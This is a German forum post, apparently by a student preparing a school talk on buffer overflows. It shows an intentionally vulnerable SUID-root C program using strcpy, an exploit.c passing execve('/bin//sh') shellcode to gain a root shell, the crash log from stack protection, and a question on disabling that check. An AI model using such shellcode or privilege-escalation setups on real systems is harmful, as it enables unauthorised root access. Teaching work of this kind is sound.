Hallöle,
da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite.
Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root.
Dieses Programm wird als bei dem Aufruf "./harmloses_programm asdf" von Root ausgeführt. Ich möchte es jetzt schaffen, dass aufgrund der unsicheren Funktion strcpy() eine Root-Konsole gestartet wird.
Und zwar mit diesem Programm (exploit.c):
Das Ganze habe ich jetzt unter Kubuntu 8.04 (Linux 2.6.24-22-generic) mit gcc 4.2.4 (Ubuntu 4.2.4-1ubuntu3) kompiliert und dann die exploit.c ausgeführt. Leider kapiert er den Buffer Overflow und somit kommt folgende Meldung:
Ich würde dieses Beispiel trotzdem gerne vorführen. Gibt es eine Möglichkeit, diese "Prüfung" auf Buffer Overflows zu verhindern? Oder irgendeine andere funktionierende Möglichkeit wie ich dieses Biespiel aufbauen könnte? Habe ich irgendetwas falsch gemacht?
Liebe Grüße
Woosh
da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite.
Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root.
Code:
// harmloses_programm.c
#include <stdio.h>
#include <string.h>
void unsichere_funktion(char *param) {
char variable[20];
strcpy(variable, param);
}
int main(int argc, char *argv[]) {
unsichere_funktion(argv[1]);
return(0);
}
Dieses Programm wird als bei dem Aufruf "./harmloses_programm asdf" von Root ausgeführt. Ich möchte es jetzt schaffen, dass aufgrund der unsicheren Funktion strcpy() eine Root-Konsole gestartet wird.
Und zwar mit diesem Programm (exploit.c):
Code:
// exploit.c
int main() {
system("./harmloses_programm \x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80");
return(0);
}
Das Ganze habe ich jetzt unter Kubuntu 8.04 (Linux 2.6.24-22-generic) mit gcc 4.2.4 (Ubuntu 4.2.4-1ubuntu3) kompiliert und dann die exploit.c ausgeführt. Leider kapiert er den Buffer Overflow und somit kommt folgende Meldung:
*** stack smashing detected ***: ./harmloses_programm terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7ea6138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7ea60f0]
./harmloses_programm[0x80483fe]
./harmloses_programm[0x8048421]
[0x80cd0bb0]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:04 23658840 /home/tmaier/buffer_overflow/4_exploit/harmloses_programm
08049000-0804a000 rw-p 00000000 08:04 23658840 /home/tmaier/buffer_overflow/4_exploit/harmloses_programm
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dad000-b7db7000 r-xp 00000000 08:04 14974997 /lib/libgcc_s.so.1
b7db7000-b7db8000 rw-p 0000a000 08:04 14974997 /lib/libgcc_s.so.1
b7db8000-b7db9000 rw-p b7db8000 00:00 0
b7db9000-b7f02000 r-xp 00000000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f02000-b7f03000 r--p 00149000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f03000-b7f05000 rw-p 0014a000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f05000-b7f08000 rw-p b7f05000 00:00 0
b7f17000-b7f19000 rw-p b7f17000 00:00 0
b7f19000-b7f1a000 r-xp b7f19000 00:00 0 [vdso]
b7f1a000-b7f34000 r-xp 00000000 08:04 14974988 /lib/ld-2.7.so
b7f34000-b7f36000 rw-p 00019000 08:04 14974988 /lib/ld-2.7.so
bfabc000-bfad1000 rw-p bffeb000 00:00 0 [stack]
Aborted
Ich würde dieses Beispiel trotzdem gerne vorführen. Gibt es eine Möglichkeit, diese "Prüfung" auf Buffer Overflows zu verhindern? Oder irgendeine andere funktionierende Möglichkeit wie ich dieses Biespiel aufbauen könnte? Habe ich irgendetwas falsch gemacht?
Liebe Grüße
Woosh